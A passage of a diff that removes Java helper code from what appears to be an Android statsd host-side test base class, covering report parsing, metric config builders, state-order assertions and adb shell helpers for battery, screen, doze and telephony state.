-    }
-
-    /** Gets the statsd report and sorts it. Note that this also deletes that report from statsd. */
-    protected List<EventMetricData> getEventMetricDataList() throws Exception {
-        ConfigMetricsReportList reportList = getReportList();
-        return getEventMetricDataList(reportList);
-    }
-
-    /**
-     *  Gets a List of sorted ConfigMetricsReports from ConfigMetricsReportList.
-     */
-    protected List<ConfigMetricsReport> getSortedConfigMetricsReports(
-            ConfigMetricsReportList configMetricsReportList) {
-        return configMetricsReportList.getReportsList().stream()
-                .sorted(Comparator.comparing(ConfigMetricsReport::getCurrentReportWallClockNanos))
-                .collect(Collectors.toList());
-    }
-
-    /**
-     * Extracts and sorts the EventMetricData from the given ConfigMetricsReportList (which must
-     * contain a single report).
-     */
-    protected List<EventMetricData> getEventMetricDataList(ConfigMetricsReportList reportList)
-            throws Exception {
-        assertThat(reportList.getReportsCount()).isEqualTo(1);
-        ConfigMetricsReport report = reportList.getReports(0);
-
-        List<EventMetricData> data = new ArrayList<>();
-        for (StatsLogReport metric : report.getMetricsList()) {
-            data.addAll(metric.getEventMetrics().getDataList());
-        }
-        data.sort(Comparator.comparing(EventMetricData::getElapsedTimestampNanos));
-
-        LogUtil.CLog.d("Get EventMetricDataList as following:\n");
-        for (EventMetricData d : data) {
-            LogUtil.CLog.d("Atom at " + d.getElapsedTimestampNanos() + ":\n" + d.getAtom().toString());
-        }
-        return data;
-    }
-
-    protected List<Atom> getGaugeMetricDataList() throws Exception {
-        return getGaugeMetricDataList(/*checkTimestampTruncated=*/false);
-    }
-
-    protected List<Atom> getGaugeMetricDataList(boolean checkTimestampTruncated) throws Exception {
-        ConfigMetricsReportList reportList = getReportList();
-        assertThat(reportList.getReportsCount()).isEqualTo(1);
-
-        // only config
-        ConfigMetricsReport report = reportList.getReports(0);
-        assertThat(report.getMetricsCount()).isEqualTo(1);
-
-        List<Atom> data = new ArrayList<>();
-        for (GaugeMetricData gaugeMetricData :
-                report.getMetrics(0).getGaugeMetrics().getDataList()) {
-            assertThat(gaugeMetricData.getBucketInfoCount()).isEqualTo(1);
-            GaugeBucketInfo bucketInfo = gaugeMetricData.getBucketInfo(0);
-            for (Atom atom : bucketInfo.getAtomList()) {
-                data.add(atom);
-            }
-            if (checkTimestampTruncated) {
-                for (long timestampNs: bucketInfo.getElapsedTimestampNanosList()) {
-                    assertTimestampIsTruncated(timestampNs);
-                }
-            }
-        }
-
-        LogUtil.CLog.d("Get GaugeMetricDataList as following:\n");
-        for (Atom d : data) {
-            LogUtil.CLog.d("Atom:\n" + d.toString());
-        }
-        return data;
-    }
-
-    /**
-     * Gets the statsd report and extract duration metric data.
-     * Note that this also deletes that report from statsd.
-     */
-    protected List<DurationMetricData> getDurationMetricDataList() throws Exception {
-        ConfigMetricsReportList reportList = getReportList();
-        assertThat(reportList.getReportsCount()).isEqualTo(1);
-        ConfigMetricsReport report = reportList.getReports(0);
-
-        List<DurationMetricData> data = new ArrayList<>();
-        for (StatsLogReport metric : report.getMetricsList()) {
-            data.addAll(metric.getDurationMetrics().getDataList());
-        }
-
-        LogUtil.CLog.d("Got DurationMetricDataList as following:\n");
-        for (DurationMetricData d : data) {
-            LogUtil.CLog.d("Duration " + d);
-        }
-        return data;
-    }
-
-    /**
-     * Gets the statsd report and extract count metric data.
-     * Note that this also deletes that report from statsd.
-     */
-    protected List<CountMetricData> getCountMetricDataList() throws Exception {
-        ConfigMetricsReportList reportList = getReportList();
-        assertThat(reportList.getReportsCount()).isEqualTo(1);
-        ConfigMetricsReport report = reportList.getReports(0);
-
-        List<CountMetricData> data = new ArrayList<>();
-        for (StatsLogReport metric : report.getMetricsList()) {
-            data.addAll(metric.getCountMetrics().getDataList());
-        }
-
-        LogUtil.CLog.d("Got CountMetricDataList as following:\n");
-        for (CountMetricData d : data) {
-            LogUtil.CLog.d("Count " + d);
-        }
-        return data;
-    }
-
-    /**
-     * Gets the statsd report and extract value metric data.
-     * Note that this also deletes that report from statsd.
-     */
-    protected List<ValueMetricData> getValueMetricDataList() throws Exception {
-        ConfigMetricsReportList reportList = getReportList();
-        assertThat(reportList.getReportsCount()).isEqualTo(1);
-        ConfigMetricsReport report = reportList.getReports(0);
-
-        List<ValueMetricData> data = new ArrayList<>();
-        for (StatsLogReport metric : report.getMetricsList()) {
-            data.addAll(metric.getValueMetrics().getDataList());
-        }
-
-        LogUtil.CLog.d("Got ValueMetricDataList as following:\n");
-        for (ValueMetricData d : data) {
-            LogUtil.CLog.d("Value " + d);
-        }
-        return data;
-    }
-
-    protected StatsLogReport getStatsLogReport() throws Exception {
-        ConfigMetricsReport report = getConfigMetricsReport();
-        assertThat(report.hasUidMap()).isTrue();
-        assertThat(report.getMetricsCount()).isEqualTo(1);
-        return report.getMetrics(0);
-    }
-
-    protected ConfigMetricsReport getConfigMetricsReport() throws Exception {
-        ConfigMetricsReportList reportList = getReportList();
-        assertThat(reportList.getReportsCount()).isEqualTo(1);
-        return reportList.getReports(0);
-    }
-
-    /** Gets the statsd report. Note that this also deletes that report from statsd. */
-    protected ConfigMetricsReportList getReportList() throws Exception {
-        try {
-            ConfigMetricsReportList reportList = getDump(ConfigMetricsReportList.parser(),
-                    String.join(" ", DUMP_REPORT_CMD, String.valueOf(CONFIG_ID),
-                            "--include_current_bucket", "--proto"));
-            return reportList;
-        } catch (com.google.protobuf.InvalidProtocolBufferException e) {
-            LogUtil.CLog.e("Failed to fetch and parse the statsd output report. "
-                    + "Perhaps there is not a valid statsd config for the requested "
-                    + "uid=" + getHostUid() + ", id=" + CONFIG_ID + ".");
-            throw (e);
-        }
-    }
-
-    protected BatteryStatsProto getBatteryStatsProto() throws Exception {
-        try {
-            BatteryStatsProto batteryStatsProto = getDump(BatteryStatsServiceDumpProto.parser(),
-                    String.join(" ", DUMP_BATTERYSTATS_CMD,
-                            "--proto")).getBatterystats();
-            LogUtil.CLog.d("Got batterystats:\n " + batteryStatsProto.toString());
-            return batteryStatsProto;
-        } catch (com.google.protobuf.InvalidProtocolBufferException e) {
-            LogUtil.CLog.e("Failed to dump batterystats proto");
-            throw (e);
-        }
-    }
-
-    /** Gets reports from the statsd data incident section from the stats dumpsys. */
-    protected List<ConfigMetricsReportList> getReportsFromStatsDataDumpProto() throws Exception {
-        try {
-            StatsDataDumpProto statsProto = getDump(StatsDataDumpProto.parser(),
-                    String.join(" ", DUMPSYS_STATS_CMD, "--proto"));
-            // statsProto holds repeated bytes, which we must parse into ConfigMetricsReportLists.
-            List<ConfigMetricsReportList> reports
-                    = new ArrayList<>(statsProto.getConfigMetricsReportListCount());
-            for (ByteString reportListBytes : statsProto.getConfigMetricsReportListList()) {
-                reports.add(ConfigMetricsReportList.parseFrom(reportListBytes));
-            }
-            LogUtil.CLog.d("Got dumpsys stats output:\n " + reports.toString());
-            return reports;
-        } catch (com.google.protobuf.InvalidProtocolBufferException e) {
-            LogUtil.CLog.e("Failed to dumpsys stats proto");
-            throw (e);
-        }
-    }
-
-    protected List<ProcessStatsProto> getProcStatsProto() throws Exception {
-        try {
-
-            List<ProcessStatsProto> processStatsProtoList =
-                new ArrayList<ProcessStatsProto>();
-            android.service.procstats.ProcessStatsSectionProto sectionProto = getDump(
-                    ProcessStatsServiceDumpProto.parser(),
-                    String.join(" ", DUMP_PROCSTATS_CMD,
-                            "--proto")).getProcstatsNow();
-            for (android.service.procstats.ProcessStatsProto stats :
-                    sectionProto.getProcessStatsList()) {
-                ProcessStatsProto procStats = ProcessStatsProto.parser().parseFrom(
-                    stats.toByteArray());
-                processStatsProtoList.add(procStats);
-            }
-            LogUtil.CLog.d("Got procstats:\n ");
-            for (ProcessStatsProto processStatsProto : processStatsProtoList) {
-                LogUtil.CLog.d(processStatsProto.toString());
-            }
-            return processStatsProtoList;
-        } catch (com.google.protobuf.InvalidProtocolBufferException e) {
-            LogUtil.CLog.e("Failed to dump procstats proto");
-            throw (e);
-        }
-    }
-
-    /*
-     * Get all procstats package data in proto
-     */
-    protected List<ProcessStatsPackageProto> getAllProcStatsProto() throws Exception {
-        try {
-            android.service.procstats.ProcessStatsSectionProto sectionProto = getDump(
-                    ProcessStatsServiceDumpProto.parser(),
-                    String.join(" ", DUMP_PROCSTATS_CMD,
-                            "--proto")).getProcstatsOver24Hrs();
-            List<ProcessStatsPackageProto> processStatsProtoList =
-                new ArrayList<ProcessStatsPackageProto>();
-            for (android.service.procstats.ProcessStatsPackageProto pkgStast :
-                sectionProto.getPackageStatsList()) {
-              ProcessStatsPackageProto pkgAtom =
-                  ProcessStatsPackageProto.parser().parseFrom(pkgStast.toByteArray());
-                processStatsProtoList.add(pkgAtom);
-            }
-            LogUtil.CLog.d("Got procstats:\n ");
-            for (ProcessStatsPackageProto processStatsProto : processStatsProtoList) {
-                LogUtil.CLog.d(processStatsProto.toString());
-            }
-            return processStatsProtoList;
-        } catch (com.google.protobuf.InvalidProtocolBufferException e) {
-            LogUtil.CLog.e("Failed to dump procstats proto");
-            throw (e);
-        }
-    }
-
-    /*
-     * Get all processes' procstats statsd data in proto
-     */
-    protected List<android.service.procstats.ProcessStatsProto> getAllProcStatsProtoForStatsd()
-            throws Exception {
-        try {
-            android.service.procstats.ProcessStatsSectionProto sectionProto = getDump(
-                    android.service.procstats.ProcessStatsSectionProto.parser(),
-                    String.join(" ", DUMP_PROCSTATS_CMD,
-                            "--statsd"));
-            List<android.service.procstats.ProcessStatsProto> processStatsProtoList
-                    = sectionProto.getProcessStatsList();
-            LogUtil.CLog.d("Got procstats:\n ");
-            for (android.service.procstats.ProcessStatsProto processStatsProto
-                    : processStatsProtoList) {
-                LogUtil.CLog.d(processStatsProto.toString());
-            }
-            return processStatsProtoList;
-        } catch (com.google.protobuf.InvalidProtocolBufferException e) {
-            LogUtil.CLog.e("Failed to dump procstats proto");
-            throw (e);
-        }
-    }
-
-    protected boolean hasBattery() throws Exception {
-        try {
-            BatteryServiceDumpProto batteryProto = getDump(BatteryServiceDumpProto.parser(),
-                    String.join(" ", DUMP_BATTERY_CMD, "--proto"));
-            LogUtil.CLog.d("Got battery service dump:\n " + batteryProto.toString());
-            return batteryProto.getIsPresent();
-        } catch (com.google.protobuf.InvalidProtocolBufferException e) {
-            LogUtil.CLog.e("Failed to dump batteryservice proto");
-            throw (e);
-        }
-    }
-
-    /** Creates a FieldValueMatcher.Builder corresponding to the given field. */
-    protected static FieldValueMatcher.Builder createFvm(int field) {
-        return FieldValueMatcher.newBuilder().setField(field);
-    }
-
-    protected void addAtomEvent(StatsdConfig.Builder conf, int atomTag) throws Exception {
-        addAtomEvent(conf, atomTag, new ArrayList<FieldValueMatcher.Builder>());
-    }
-
-    /**
-     * Adds an event to the config for an atom that matches the given key.
-     *
-     * @param conf    configuration
-     * @param atomTag atom tag (from atoms.proto)
-     * @param fvm     FieldValueMatcher.Builder for the relevant key
-     */
-    protected void addAtomEvent(StatsdConfig.Builder conf, int atomTag,
-            FieldValueMatcher.Builder fvm)
-            throws Exception {
-        addAtomEvent(conf, atomTag, Arrays.asList(fvm));
-    }
-
-    /**
-     * Adds an event to the config for an atom that matches the given keys.
-     *
-     * @param conf   configuration
-     * @param atomId atom tag (from atoms.proto)
-     * @param fvms   list of FieldValueMatcher.Builders to attach to the atom. May be null.
-     */
-    protected void addAtomEvent(StatsdConfig.Builder conf, int atomId,
-            List<FieldValueMatcher.Builder> fvms) throws Exception {
-
-        final String atomName = "Atom" + System.nanoTime();
-        final String eventName = "Event" + System.nanoTime();
-
-        SimpleAtomMatcher.Builder sam = SimpleAtomMatcher.newBuilder().setAtomId(atomId);
-        if (fvms != null) {
-            for (FieldValueMatcher.Builder fvm : fvms) {
-                sam.addFieldValueMatcher(fvm);
-            }
-        }
-        conf.addAtomMatcher(AtomMatcher.newBuilder()
-                .setId(atomName.hashCode())
-                .setSimpleAtomMatcher(sam));
-        conf.addEventMetric(EventMetric.newBuilder()
-                .setId(eventName.hashCode())
-                .setWhat(atomName.hashCode()));
-    }
-
-    /**
-     * Adds an atom to a gauge metric of a config
-     *
-     * @param conf        configuration
-     * @param atomId      atom id (from atoms.proto)
-     * @param gaugeMetric the gauge metric to add
-     */
-    protected void addGaugeAtom(StatsdConfig.Builder conf, int atomId,
-            GaugeMetric.Builder gaugeMetric) throws Exception {
-        final String atomName = "Atom" + System.nanoTime();
-        final String gaugeName = "Gauge" + System.nanoTime();
-        final String predicateName = "APP_BREADCRUMB";
-        SimpleAtomMatcher.Builder sam = SimpleAtomMatcher.newBuilder().setAtomId(atomId);
-        conf.addAtomMatcher(AtomMatcher.newBuilder()
-                .setId(atomName.hashCode())
-                .setSimpleAtomMatcher(sam));
-        final String predicateTrueName = "APP_BREADCRUMB_1";
-        final String predicateFalseName = "APP_BREADCRUMB_2";
-        conf.addAtomMatcher(AtomMatcher.newBuilder()
-                .setId(predicateTrueName.hashCode())
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER)
-                                .setEqInt(1)
-                        )
-                )
-        )
-                // Used to trigger predicate
-                .addAtomMatcher(AtomMatcher.newBuilder()
-                        .setId(predicateFalseName.hashCode())
-                        .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                                .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
-                                .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                        .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER)
-                                        .setEqInt(2)
-                                )
-                        )
-                );
-        conf.addPredicate(Predicate.newBuilder()
-                .setId(predicateName.hashCode())
-                .setSimplePredicate(SimplePredicate.newBuilder()
-                        .setStart(predicateTrueName.hashCode())
-                        .setStop(predicateFalseName.hashCode())
-                        .setCountNesting(false)
-                )
-        );
-        gaugeMetric
-                .setId(gaugeName.hashCode())
-                .setWhat(atomName.hashCode())
-                .setCondition(predicateName.hashCode());
-        conf.addGaugeMetric(gaugeMetric.build());
-    }
-
-    /**
-     * Adds an atom to a gauge metric of a config
-     *
-     * @param conf      configuration
-     * @param atomId    atom id (from atoms.proto)
-     * @param dimension dimension is needed for most pulled atoms
-     */
-    protected void addGaugeAtomWithDimensions(StatsdConfig.Builder conf, int atomId,
-            @Nullable FieldMatcher.Builder dimension) throws Exception {
-        GaugeMetric.Builder gaugeMetric = GaugeMetric.newBuilder()
-                .setGaugeFieldsFilter(FieldFilter.newBuilder().setIncludeAll(true).build())
-                .setSamplingType(GaugeMetric.SamplingType.CONDITION_CHANGE_TO_TRUE)
-                .setMaxNumGaugeAtomsPerBucket(10000)
-                .setBucket(TimeUnit.CTS);
-        if (dimension != null) {
-            gaugeMetric.setDimensionsInWhat(dimension.build());
-        }
-        addGaugeAtom(conf, atomId, gaugeMetric);
-    }
-
-    /**
-     * Asserts that each set of states in stateSets occurs at least once in data.
-     * Asserts that the states in data occur in the same order as the sets in stateSets.
-     *
-     * @param stateSets        A list of set of states, where each set represents an equivalent
-     *                         state of the device for the purpose of CTS.
-     * @param data             list of EventMetricData from statsd, produced by
-     *                         getReportMetricListData()
-     * @param wait             expected duration (in ms) between state changes; asserts that the
-     *                         actual wait
-     *                         time was wait/2 <= actual_wait <= 5*wait. Use 0 to ignore this
-     *                         assertion.
-     * @param getStateFromAtom expression that takes in an Atom and returns the state it contains
-     */
-    public void assertStatesOccurred(List<Set<Integer>> stateSets, List<EventMetricData> data,
-            int wait, Function<Atom, Integer> getStateFromAtom) {
-        // Sometimes, there are more events than there are states.
-        // Eg: When the screen turns off, it may go into OFF and then DOZE immediately.
-        assertWithMessage("Too few states found").that(data.size()).isAtLeast(stateSets.size());
-        int stateSetIndex = 0; // Tracks which state set we expect the data to be in.
-        for (int dataIndex = 0; dataIndex < data.size(); dataIndex++) {
-            Atom atom = data.get(dataIndex).getAtom();
-            int state = getStateFromAtom.apply(atom);
-            // If state is in the current state set, we do not assert anything.
-            // If it is not, we expect to have transitioned to the next state set.
-            if (stateSets.get(stateSetIndex).contains(state)) {
-                // No need to assert anything. Just log it.
-                LogUtil.CLog.i("The following atom at dataIndex=" + dataIndex + " is "
-                        + "in stateSetIndex " + stateSetIndex + ":\n"
-                        + data.get(dataIndex).getAtom().toString());
-            } else {
-                stateSetIndex += 1;
-                LogUtil.CLog.i("Assert that the following atom at dataIndex=" + dataIndex + " is"
-                        + " in stateSetIndex " + stateSetIndex + ":\n"
-                        + data.get(dataIndex).getAtom().toString());
-                assertWithMessage("Missed first state").that(dataIndex).isNotEqualTo(0);
-                assertWithMessage("Too many states").that(stateSetIndex)
-                    .isLessThan(stateSets.size());
-                assertWithMessage(String.format("Is in wrong state (%d)", state))
-                    .that(stateSets.get(stateSetIndex)).contains(state);
-                if (wait > 0) {
-                    assertTimeDiffBetween(data.get(dataIndex - 1), data.get(dataIndex),
-                            wait / 2, wait * 5);
-                }
-            }
-        }
-        assertWithMessage("Too few states").that(stateSetIndex).isEqualTo(stateSets.size() - 1);
-    }
-
-    /**
-     * Removes all elements from data prior to the first occurrence of an element of state. After
-     * this method is called, the first element of data (if non-empty) is guaranteed to be an
-     * element in state.
-     *
-     * @param getStateFromAtom expression that takes in an Atom and returns the state it contains
-     */
-    public void popUntilFind(List<EventMetricData> data, Set<Integer> state,
-            Function<Atom, Integer> getStateFromAtom) {
-        int firstStateIdx;
-        for (firstStateIdx = 0; firstStateIdx < data.size(); firstStateIdx++) {
-            Atom atom = data.get(firstStateIdx).getAtom();
-            if (state.contains(getStateFromAtom.apply(atom))) {
-                break;
-            }
-        }
-        if (firstStateIdx == 0) {
-            // First first element already is in state, so there's nothing to do.
-            return;
-        }
-        data.subList(0, firstStateIdx).clear();
-    }
-
-    /**
-     * Removes all elements from data after to the last occurrence of an element of state. After
-     * this method is called, the last element of data (if non-empty) is guaranteed to be an
-     * element in state.
-     *
-     * @param getStateFromAtom expression that takes in an Atom and returns the state it contains
-     */
-    public void popUntilFindFromEnd(List<EventMetricData> data, Set<Integer> state,
-        Function<Atom, Integer> getStateFromAtom) {
-        int lastStateIdx;
-        for (lastStateIdx = data.size() - 1; lastStateIdx >= 0; lastStateIdx--) {
-            Atom atom = data.get(lastStateIdx).getAtom();
-            if (state.contains(getStateFromAtom.apply(atom))) {
-                break;
-            }
-        }
-        if (lastStateIdx == data.size()-1) {
-            // Last element already is in state, so there's nothing to do.
-            return;
-        }
-        data.subList(lastStateIdx+1, data.size()).clear();
-    }
-
-    /** Returns the UID of the host, which should always either be SHELL (2000) or ROOT (0). */
-    protected int getHostUid() throws DeviceNotAvailableException {
-        String strUid = "";
-        try {
-            strUid = getDevice().executeShellCommand("id -u");
-            return Integer.parseInt(strUid.trim());
-        } catch (NumberFormatException e) {
-            LogUtil.CLog.e("Failed to get host's uid via shell command. Found " + strUid);
-            // Fall back to alternative method...
-            if (getDevice().isAdbRoot()) {
-                return 0; // ROOT
-            } else {
-                return 2000; // SHELL
-            }
-        }
-    }
-
-    protected String getProperty(String prop) throws Exception {
-        return getDevice().executeShellCommand("getprop " + prop).replace("\n", "");
-    }
-
-    protected void turnScreenOn() throws Exception {
-        getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
-        getDevice().executeShellCommand("wm dismiss-keyguard");
-    }
-
-    protected void turnScreenOff() throws Exception {
-        getDevice().executeShellCommand("input keyevent KEYCODE_SLEEP");
-    }
-
-    protected void setChargingState(int state) throws Exception {
-        getDevice().executeShellCommand("cmd battery set status " + state);
-    }
-
-    protected void unplugDevice() throws Exception {
-        // On batteryless devices on Android P or above, the 'unplug' command
-        // alone does not simulate the really unplugged state.
-        //
-        // This is because charging state is left as "unknown". Unless a valid
-        // state like 3 = BatteryManager.BATTERY_STATUS_DISCHARGING is set,
-        // framework does not consider the device as running on battery.
-        setChargingState(3);
-
-        getDevice().executeShellCommand("cmd battery unplug");
-    }
-
-    protected void plugInAc() throws Exception {
-        getDevice().executeShellCommand("cmd battery set ac 1");
-    }
-
-    protected void plugInUsb() throws Exception {
-        getDevice().executeShellCommand("cmd battery set usb 1");
-    }
-
-    protected void plugInWireless() throws Exception {
-        getDevice().executeShellCommand("cmd battery set wireless 1");
-    }
-
-    protected void enableLooperStats() throws Exception {
-        getDevice().executeShellCommand("cmd looper_stats enable");
-    }
-
-    protected void resetLooperStats() throws Exception {
-        getDevice().executeShellCommand("cmd looper_stats reset");
-    }
-
-    protected void disableLooperStats() throws Exception {
-        getDevice().executeShellCommand("cmd looper_stats disable");
-    }
-
-    protected void enableBinderStats() throws Exception {
-        getDevice().executeShellCommand("dumpsys binder_calls_stats --enable");
-    }
-
-    protected void resetBinderStats() throws Exception {
-        getDevice().executeShellCommand("dumpsys binder_calls_stats --reset");
-    }
-
-    protected void disableBinderStats() throws Exception {
-        getDevice().executeShellCommand("dumpsys binder_calls_stats --disable");
-    }
-
-    protected void binderStatsNoSampling() throws Exception {
-        getDevice().executeShellCommand("dumpsys binder_calls_stats --no-sampling");
-    }
-
-    protected void setUpLooperStats() throws Exception {
-        getDevice().executeShellCommand("cmd looper_stats enable");
-        getDevice().executeShellCommand("cmd looper_stats sampling_interval 1");
-        getDevice().executeShellCommand("cmd looper_stats reset");
-    }
-
-    protected void cleanUpLooperStats() throws Exception {
-        getDevice().executeShellCommand("cmd looper_stats disable");
-    }
-
-    public void setAppBreadcrumbPredicate() throws Exception {
-        doAppBreadcrumbReportedStart(1);
-    }
-
-    public void clearAppBreadcrumbPredicate() throws Exception {
-        doAppBreadcrumbReportedStart(2);
-    }
-
-    public void doAppBreadcrumbReportedStart(int label) throws Exception {
-        doAppBreadcrumbReported(label, AppBreadcrumbReported.State.START.ordinal());
-    }
-
-    public void doAppBreadcrumbReportedStop(int label) throws Exception {
-        doAppBreadcrumbReported(label, AppBreadcrumbReported.State.STOP.ordinal());
-    }
-
-    public void doAppBreadcrumbReported(int label) throws Exception {
-        doAppBreadcrumbReported(label, AppBreadcrumbReported.State.UNSPECIFIED.ordinal());
-    }
-
-    public void doAppBreadcrumbReported(int label, int state) throws Exception {
-        getDevice().executeShellCommand(String.format(
-                "cmd stats log-app-breadcrumb %d %d", label, state));
-    }
-
-    protected void setBatteryLevel(int level) throws Exception {
-        getDevice().executeShellCommand("cmd battery set level " + level);
-    }
-
-    protected void resetBatteryStatus() throws Exception {
-        getDevice().executeShellCommand("cmd battery reset");
-    }
-
-    protected int getScreenBrightness() throws Exception {
-        return Integer.parseInt(
-                getDevice().executeShellCommand("settings get system screen_brightness").trim());
-    }
-
-    protected void setScreenBrightness(int brightness) throws Exception {
-        getDevice().executeShellCommand("settings put system screen_brightness " + brightness);
-    }
-
-    // Gets whether "Always on Display" setting is enabled.
-    // In rare cases, this is different from whether the device can enter SCREEN_STATE_DOZE.
-    protected String getAodState() throws Exception {
-        return getDevice().executeShellCommand("settings get secure doze_always_on");
-    }
-
-    protected void setAodState(String state) throws Exception {
-        getDevice().executeShellCommand("settings put secure doze_always_on " + state);
-    }
-
-    protected boolean isScreenBrightnessModeManual() throws Exception {
-        String mode = getDevice().executeShellCommand("settings get system screen_brightness_mode");
-        return Integer.parseInt(mode.trim()) == 0;
-    }
-
-    protected void setScreenBrightnessMode(boolean manual) throws Exception {
-        getDevice().executeShellCommand(
-                "settings put system screen_brightness_mode " + (manual ? 0 : 1));
-    }
-
-    protected void enterDozeModeLight() throws Exception {
-        getDevice().executeShellCommand("dumpsys deviceidle force-idle light");
-    }
-
-    protected void enterDozeModeDeep() throws Exception {
-        getDevice().executeShellCommand("dumpsys deviceidle force-idle deep");
-    }
-
-    protected void leaveDozeMode() throws Exception {
-        getDevice().executeShellCommand("dumpsys deviceidle unforce");
-        getDevice().executeShellCommand("dumpsys deviceidle disable");
-        getDevice().executeShellCommand("dumpsys deviceidle enable");
-    }
-
-    protected void turnBatterySaverOn() throws Exception {
-        unplugDevice();
-        getDevice().executeShellCommand("settings put global low_power 1");
-    }
-
-    protected void turnBatterySaverOff() throws Exception {
-        getDevice().executeShellCommand("settings put global low_power 0");
-        getDevice().executeShellCommand("cmd battery reset");
-    }
-
-    protected void rebootDevice() throws Exception {
-        getDevice().rebootUntilOnline();
-    }
-
-    /**
-     * Asserts that the two events are within the specified range of each other.
-     *
-     * @param d0        the event that should occur first
-     * @param d1        the event that should occur second
-     * @param minDiffMs d0 should precede d1 by at least this amount
-     * @param maxDiffMs d0 should precede d1 by at most this amount
-     */
-    public static void assertTimeDiffBetween(EventMetricData d0, EventMetricData d1,
-            int minDiffMs, int maxDiffMs) {
-        long diffMs = (d1.getElapsedTimestampNanos() - d0.getElapsedTimestampNanos()) / 1_000_000;
-        assertWithMessage("Illegal time difference")
-            .that(diffMs).isIn(Range.closed((long) minDiffMs, (long) maxDiffMs));
-    }
-
-    protected String getCurrentLogcatDate() throws Exception {
-        // TODO: Do something more robust than this for getting logcat markers.
-        long timestampMs = getDevice().getDeviceDate();
-        return new SimpleDateFormat("MM-dd HH:mm:ss.SSS")
-                .format(new Date(timestampMs));
-    }
-
-    protected String getLogcatSince(String date, String logcatParams) throws Exception {
-        return getDevice().executeShellCommand(String.format(
-                "logcat -v threadtime -t '%s' -d %s", date, logcatParams));
-    }
-
-    // TODO: Remove this and migrate all usages to createConfigBuilder()
-    protected StatsdConfig.Builder getPulledConfig() {
-        return createConfigBuilder();
-    }
-    /**
-     * Determines if the device has the given feature.
-     * Prints a warning if its value differs from requiredAnswer.
-     */
-    protected boolean hasFeature(String featureName, boolean requiredAnswer) throws Exception {
-        final String features = getDevice().executeShellCommand("pm list features");
-        boolean hasIt = features.contains(featureName);
-        if (hasIt != requiredAnswer) {
-            LogUtil.CLog.w("Device does " + (requiredAnswer ? "not " : "") + "have feature "
-                    + featureName);
-        }
-        return hasIt == requiredAnswer;
-    }
-
-    /**
-     * Determines if the device has |file|.
-     */
-    protected boolean doesFileExist(String file) throws Exception {
-        return getDevice().doesFileExist(file);
-    }
-
-    protected void turnOnAirplaneMode() throws Exception {
-        getDevice().executeShellCommand("cmd connectivity airplane-mode enable");
-    }
-
-    protected void turnOffAirplaneMode() throws Exception {
-        getDevice().executeShellCommand("cmd connectivity airplane-mode disable");
-    }
-
-    /**
-     * Returns a list of fields and values for {@code className} from {@link TelephonyDebugService}
-     * output.
-     *
-     * <p>Telephony dumpsys output does not support proto at the moment. This method provides
-     * limited support for parsing its output. Specifically, it does not support arrays or
-     * multi-line values.
-     */
-    private List<Map<String, String>> getTelephonyDumpEntries(String className) throws Exception {
-        // Matches any line with indentation, except for lines with only spaces
-        Pattern indentPattern = Pattern.compile("^(\\s*)[^ ].*$");
-        // Matches pattern for class, e.g. "    Phone:"
-        Pattern classNamePattern = Pattern.compile("^(\\s*)" + Pattern.quote(className) + ":.*$");
-        // Matches pattern for key-value pairs, e.g. "     mPhoneId=1"
-        Pattern keyValuePattern = Pattern.compile("^(\\s*)([a-zA-Z]+[a-zA-Z0-9_]*)\\=(.+)$");
-        String response =
-                getDevice().executeShellCommand("dumpsys activity service TelephonyDebugService");
-        Queue<String> responseLines = new LinkedList<>(Arrays.asList(response.split("[\\r\\n]+")));
-
-        List<Map<String, String>> results = new ArrayList<>();
-        while (responseLines.peek() != null) {
-            Matcher matcher = classNamePattern.matcher(responseLines.poll());
-            if (matcher.matches()) {
-                final int classIndentLevel = matcher.group(1).length();
-                final Map<String, String> instanceEntries = new HashMap<>();
-                while (responseLines.peek() != null) {
-                    // Skip blank lines
-                    matcher = indentPattern.matcher(responseLines.peek());
-                    if (responseLines.peek().length() == 0 || !matcher.matches()) {
-                        responseLines.poll();
-                        continue;
-                    }
-                    // Finish (without consuming the line) if already parsed past this instance
-                    final int indentLevel = matcher.group(1).length();
-                    if (indentLevel <= classIndentLevel) {
-                        break;
-                    }
-                    // Parse key-value pair if it belongs to the instance directly
-                    matcher = keyValuePattern.matcher(responseLines.poll());
-                    if (indentLevel == classIndentLevel + 1 && matcher.matches()) {
-                        instanceEntries.put(matcher.group(2), matcher.group(3));
-                    }
-                }
-                results.add(instanceEntries);
-            }
-        }
-        return results;
-    }
-
-    protected int getActiveSimSlotCount() throws Exception {
-        List<Map<String, String>> slots = getTelephonyDumpEntries("UiccSlot");
-        long count = slots.stream().filter(slot -> "true".equals(slot.get("mActive"))).count();
-        return Math.toIntExact(count);
-    }
-
-    /**
-     * Returns the upper bound of active SIM profile count.
-     *
-     * <p>The value is an upper bound as eSIMs without profiles are also counted in.
-     */
-    protected int getActiveSimCountUpperBound() throws Exception {
-        List<Map<String, String>> slots = getTelephonyDumpEntries("UiccSlot");
-        long count = slots.stream().filter(slot ->
-                "true".equals(slot.get("mActive"))
-                && "CARDSTATE_PRESENT".equals(slot.get("mCardState"))).count();
-        return Math.toIntExact(count);
-    }
-
-    /**
-     * Returns the upper bound of active eSIM profile count.
-     *
-     * <p>The value is an upper bound as eSIMs without profiles are also counted in.
-     */
-    protected int getActiveEsimCountUpperBound() throws Exception {
-        List<Map<String, String>> slots = getTelephonyDumpEntries("UiccSlot");
-        long count = slots.stream().filter(slot ->
-                "true".equals(slot.get("mActive"))
-                && "CARDSTATE_PRESENT".equals(slot.get("mCardState"))
-                && "true".equals(slot.get("mIsEuicc"))).count();
-        return Math.toIntExact(count);
-    }
-
-    protected boolean hasGsmPhone() throws Exception {
-        // Not using log entries or ServiceState in the dump since they may or may not be present,
-        // which can make the test flaky
-        return getTelephonyDumpEntries("Phone").stream()
-                .anyMatch(phone ->
-                        String.format("%d", PHONE_TYPE_GSM).equals(phone.get("getPhoneType()")));
-    }
-
-    protected boolean hasCdmaPhone() throws Exception {
-        // Not using log entries or ServiceState in the dump due to the same reason as hasGsmPhone()
-        return getTelephonyDumpEntries("Phone").stream()
-                .anyMatch(phone ->
